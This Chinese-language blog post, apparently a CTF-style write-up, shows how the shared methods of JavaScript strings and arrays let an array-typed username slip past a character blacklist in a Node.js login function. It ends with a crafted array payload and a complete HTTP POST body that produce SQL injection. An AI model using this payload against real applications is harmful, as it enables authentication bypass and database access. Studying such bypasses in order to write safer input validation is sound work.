1. 程式人生 > 其它 >js利用String和Array繞過一些限制

js利用String和Array繞過一些限制

JavaScript的 String(字串) 和 Array(陣列)具有一些同名的屬性和方法,例如 length、slice()、toString(),而且都可以用 for 迴圈遍歷。

var arr = ['a','b','c']
var str = 'abc'

// length
arr.length                    // 3
str.length                    // 3

// slice()
arr.slice(0,2)                // a,b  與字串有些不同,拼接陣列元素時會在元素之間插入逗號"," ,相當於 arr.join(',')
str.slice(0,2)                // ab

// toString()
arr.toString()                // a,b,c 相當於 arr.join(',')
str.toString()                // abc

for(var i = 0; i < arr.length; i++){
	console.log(arr[i])
}
// abc

for(var i = 0; i < str.length; i++){
	console.log(str[i])
}
// abc

toString()是在需要將物件當成字串輸出時執行的方法。

例如:

var arr = ['a','p','p','l','e']
console.log(arr + '')       // a,p,p,l,e

利用上述所說的特性繞過下面的過濾函式,並最終形成 SQL 注入:

let safeQuery =  (username,password)=>{

    const waf = (str)=>{
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    return sql;
}

(1)這裡預期的資料型別是 String,如果傳入一個字串,那麼被黑名單檢測的是字串的單個字元,這會在黑名單字元包括單引號的前面新增轉義字元 \,導致SQL注入失敗。

(2)這裡用於檢測的程式碼用到的方法和屬性都是 String 和 Array,所以如果傳入一個非預期的資料型別 Array,並不會導致程式錯誤,並且被黑名單檢測的是陣列的元素,而陣列的元素既可以是單個字元,也可以是字串,如果是字串,例如 "admin' #",判斷的條件是 "admin' #" == element,返回 false,也就是無法檢測出裡面的單引號。所以我們在 username 中傳入一個數組,陣列的第一個元素是 "admin' #"。

(3)陣列最終還是要轉換成字串,否則會因為 username.substr(0,20) 不存在 substr() 而導致程式錯誤。轉換成字串的地方在於 slice(),通過執行 username.slice() 就能轉換成字串。

最終username為:

["admin' #", '1', '2', '3', '4', '5', '6', '7', '8', '*']
  • * 的位置要在下標 5 之後,因為單引號處於 "admin' #" 的第 6 位,而username.slice()之後 for 會繼續遍歷 "admin' #,1,2,3,4,5,6,7,8,*" 這個字串,但此時 i>5,所以就不會檢測單引號 '。

在HTTP請求體中:

POST /login HTTP/1.1
......
Content-Type: application/x-www-form-urlencoded
......

username[]=admin'+#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=*&password=123456

這需要node.js支援多種資料型別,例如 express:

express.use(express.urlencoded({extended: true}))